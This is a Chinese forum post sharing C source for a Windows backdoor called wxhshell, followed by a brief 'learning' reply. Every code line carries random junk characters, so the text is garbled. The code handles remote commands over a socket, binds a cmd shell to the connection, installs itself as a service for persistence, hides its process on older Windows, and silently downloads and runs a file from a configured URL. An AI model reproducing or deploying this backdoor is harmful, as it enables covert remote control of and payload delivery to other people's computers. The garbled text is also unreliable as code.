  if(DownloadFile(cmd,wsh)) .i&ZT}v3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $K_YC~  
  else 2 ssj(Qo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fxoi<!|iGY  
  } d:<H?~  
  else { 'tu@`7*  
/sT ^lf=  
    switch(cmd[0]) { Am4^v?q  
  W6Aj<{\F  
  // 帮助 6;[/ 9  
  case '?': { 1S(\2{Ylo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [&pW&>p3  
    break; 9ze|s^  
  } u|OzW}xb7j  
  // 安装 G>w?9:V}  
  case 'i': { ~'NpM#A  
    if(Install()) ^2C /!Y<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k8 ;uC~L  
    else ;64mf`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (YYj3#|  
    break; 8lWH=kA\  
    } :9F''f$AP  
  // 卸载 :IVk_[s  
  case 'r': { 8hKP  
    if(Uninstall()) 6snOMa GRu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 ih;#I=q  
    else pPyvR;NJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q-8'?S  
    break; 3 IWLBc  
    } '-PMF~~S  
  // 显示 wxhshell 所在路径 ?)' 2l6  
  case 'p': { 9XoQO9*Q  
    char svExeFile[MAX_PATH]; ^K.u ~p   
    strcpy(svExeFile,"\n\r"); phgexAq  
      strcat(svExeFile,ExeFile); 6vgBqn[  
        send(wsh,svExeFile,strlen(svExeFile),0); 5`E`Kb+@  
    break; '{0[&i*  
    }  &(1H!  
  // 重启 5K ,#4EOV  
  case 'b': { gM3]%L_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /$9BPjO{  
    if(Boot(REBOOT)) %/y`<lJz(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z6^QB@moj  
    else { @1qdd~B}  
    closesocket(wsh); cZgMA8 F  
    ExitThread(0); n|x$vgb  
    } AUxM)H  
    break; (/SGT$#8  
    } jWXR__>.  
  // 关机 P1i*u0a  
  case 'd': { ^}o7*   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %-# q O  
    if(Boot(SHUTDOWN)) SY'2A)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x*h?%egB!p  
    else { [Y$5zeA  
    closesocket(wsh); 3duG.iUlL  
    ExitThread(0); zUs~V`0  
    } l@N;sI<O-  
    break; OQ(D5GR:4  
    } o#xgrMB  
  // 获取shell LZM,QQ  
  case 's': { \T`["<  
    CmdShell(wsh); .73zik   
    closesocket(wsh); aUW/1nQHa  
    ExitThread(0); kG)2%  
    break; 6x_ T@  
  } 8M^wuRn  
  // 退出 L6:W'u^  
  case 'x': { #M5_em4kN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i s L{9^  
    CloseIt(wsh); {[2tG U9  
    break; J]}FC{CD!  
    } kDzj%sm!  
  // 离开 OE'K5oIM  
  case 'q': { )?w&oIj5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A3AP51 !  
    closesocket(wsh); Mo}H_8y  
    WSACleanup(); T&r +G!2  
    exit(1); N%9h~G  
    break; r8uqcKfU  
        } W.A1m4l58R  
  } ~{L.f94N  
  } J3B6X8P'  
^ <qrM  
  // 提示信息 CQdBf3q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tTotPPZf}  
} YP[LQ>  
  } 'nRp}s1^[  
07x=`7hs}  
  return; j$@?62)6  
} [@m[V1D  
F`!TV(,bY  
// shell模块句柄 c[SU5 66y  
int CmdShell(SOCKET sock) HWqLcQ d:P  
{ [tUv*jw%  
STARTUPINFO si; AG]W O8f)  
ZeroMemory(&si,sizeof(si)); ZCm1+Y$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 31~hlp;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wms1IV%;  
PROCESS_INFORMATION ProcessInfo; 2~f6~\4GL+  
char cmdline[]="cmd"; I[#U`9Dt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Z&?R++?  
  return 0; /ZHO>LNN|  
} ||uZ bP@  
cV-i*L4X  
// 自身启动模式 ezp<@'0ZT  
int StartFromService(void) I(pb-oY3!I  
{ jOs H2^  
typedef struct BBcj=]"_  
{ Dk6?Nwy"  
  DWORD ExitStatus; (nLKQV 1  
  DWORD PebBaseAddress; tG/a H%4S  
  DWORD AffinityMask; \}Dpb%^\  
  DWORD BasePriority; D%-{q>F!gf  
  ULONG UniqueProcessId; tqK=\{U  
  ULONG InheritedFromUniqueProcessId; D9~}5  
}   PROCESS_BASIC_INFORMATION; OCCEL9d  
sf`PV}a1  
PROCNTQSIP NtQueryInformationProcess; ;4 ,'y  
tWm>j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J' W}7r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n!a<:]b<  
E *BSfn&i  
  HANDLE             hProcess; 5O&d3;p'  
  PROCESS_BASIC_INFORMATION pbi; [FGgkd}  
Y;} 2'"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yz ?q(]  
  if(NULL == hInst ) return 0; @r F/]UJ  
1!!\+ c2*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RU6KIg{H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jy9bY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !2z!8kI  
l]H0g[  
  if (!NtQueryInformationProcess) return 0; ``!GI'^  
QZ&4:K+{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YgEM:'1f  
  if(!hProcess) return 0; ?w*yW;V`  
gQy~kctQ#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; be7L="vZw  
tw=K&/@^O  
  CloseHandle(hProcess); \<ZLoy_  
S_2"7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (#$$nQj  
if(hProcess==NULL) return 0; F"'n4|q4n  
e&0NK8&#+  
HMODULE hMod; `m%:rE,  
char procName[255]; bp#fyG"  
unsigned long cbNeeded; u, eZ6  
#4><r.v3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nsn~@.UuSW  
b$Ln} <  
  CloseHandle(hProcess); ;UrK {>B  
;|<(9u`  
if(strstr(procName,"services")) return 1; // 以服务启动 ~Q?!W0ZBE  
CZY7S*fL  
  return 0; // 注册表启动 [![ G7H%f  
} 3y ryeS  
.5.8;/ /  
// 主模块 'seyD  
int StartWxhshell(LPSTR lpCmdLine) :6Pnie  
{ Rn-G @}f  
  SOCKET wsl; |g<*Rk0  
BOOL val=TRUE; i ?;R}%~  
  int port=0; {^J!<k,R\;  
  struct sockaddr_in door; ]dG\j^e|  
T1W:>~T5#  
  if(wscfg.ws_autoins) Install(); b#/i.!:a  
@uM EXP  
port=atoi(lpCmdLine); L,?/'!xV  
h*3{6X#(/  
if(port<=0) port=wscfg.ws_port; A2NF<ZsD  
G`F8!O(  
  WSADATA data; ^,TTwLy- t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R-  
=1Z;Ma<;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B76 v}O:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vX;HC'%n  
  door.sin_family = AF_INET;  8gC)5Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hm fXe  
  door.sin_port = htons(port); wzh ]97b  
GX?*1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Km!nM$=k  
closesocket(wsl); R* 9NR,C  
return 1; "'a* [%  
} ]\Xc9N8w  
Gf0,RH+  
  if(listen(wsl,2) == INVALID_SOCKET) { u[")*\CP  
closesocket(wsl); S@xXq{j  
return 1; pzhl*ss"6  
} gcf6\f}\<  
  Wxhshell(wsl); Dx-KMiQ,"(  
  WSACleanup(); q+ pOrGh  
U>P|X=)  
return 0; \4{2eU  
qaVy.  
} gg^1b77hT  
!VP %v&jKm  
// 以NT服务方式启动 !tXZ%BP.u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /(?@mnq_  
{ oY=1C}  
DWORD   status = 0; 3A,rHYS  
  DWORD   specificError = 0xfffffff; "NzD1k6.L  
V*RdDF7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }T.?c9l X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?D|\]0eN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fP[& a9l  
  serviceStatus.dwWin32ExitCode     = 0; !%PWig-  
  serviceStatus.dwServiceSpecificExitCode = 0; |c2 xy  
  serviceStatus.dwCheckPoint       = 0; <G ~>~L.E  
  serviceStatus.dwWaitHint       = 0; $bsH$N#6T  
{G3i0 r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rNlW7 Y  
  if (hServiceStatusHandle==0) return; E4i0i!<z  
QA;!caNp  
status = GetLastError(); Tycq1i^  
  if (status!=NO_ERROR) W3rl^M=r  
{ e ZLMP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; + G;LX'B  
    serviceStatus.dwCheckPoint       = 0; >&S0#>wmyG  
    serviceStatus.dwWaitHint       = 0; aWy]9F&C:  
    serviceStatus.dwWin32ExitCode     = status; z ;Q<F  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2i7e#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8)yI<`q6  
    return; 5$rSEVg9  
  } h}L}[   
fuX'~$b.fA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bZ 443SG  
  serviceStatus.dwCheckPoint       = 0; T$+-IAE  
  serviceStatus.dwWaitHint       = 0; _&#S@aGw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |Au]1}  
} L}sx<=8.m  
g{:<2xI5P  
// 处理NT服务事件,比如:启动、停止 RJ4. kt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PRB{VC<k  
{ l=}~v  
switch(fdwControl) IQH[Q9%  
{ bb-qO#E  
case SERVICE_CONTROL_STOP: g(ogXA1  
  serviceStatus.dwWin32ExitCode = 0; v jT( Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3c3OG.H$8  
  serviceStatus.dwCheckPoint   = 0; wJ+Aw  
  serviceStatus.dwWaitHint     = 0; Ysi  g T  
  { -JT/ 9IQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'h1b1,b~  
  } T=Z.TG|lIx  
  return; XfYC7-e9c  
case SERVICE_CONTROL_PAUSE: j&R+2%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?rYT4vi  
  break; 9 QC.TG@  
case SERVICE_CONTROL_CONTINUE: d3;qsUh$yv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >[10H8~bI/  
  break; *|#T8t,}n  
case SERVICE_CONTROL_INTERROGATE: >~nF=   
  break; h 8e757z  
}; w5=tlb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PVOx`<ng  
} 3)=c]@N0  
u3 0s_\  
// 标准应用程序主函数 [ ho (z30k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xiblPF_n3  
{ . T JEUK  
,u9M<B<F  
// 获取操作系统版本 V5f9]D  
OsIsNt=GetOsVer(); 3< Od0J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :4gLjzL  
bM,1f/^  
  // 从命令行安装 2";SJF'5\  
  if(strpbrk(lpCmdLine,"iI")) Install(); a2 +~;{?g  
J%H;%ROx  
  // 下载执行文件 _+l1 b"^s1  
if(wscfg.ws_downexe) { U_GgCI)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rQ`i8GF  
  WinExec(wscfg.ws_filenam,SW_HIDE); l^MzN  
} . Dg*\ h  
kzn[ =P  
if(!OsIsNt) { N_pUv   
// 如果时win9x,隐藏进程并且设置为注册表启动 Q Fm|-j  
HideProc(); b</9Ai=  
StartWxhshell(lpCmdLine); NB_ )ZEmF  
} vmTs9"ujF,  
else @=j WHS  
  if(StartFromService()) cTTW06^  
  // 以服务方式启动 3*UR3!Z9 *  
  StartServiceCtrlDispatcher(DispatchTable); LUX*P7*B  
else !k3e\v|  
  // 普通方式启动 yifY%!@Xu  
  StartWxhshell(lpCmdLine); :#~U<C@o  
KJ2Pb"s  
return 0; WI> P-D  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五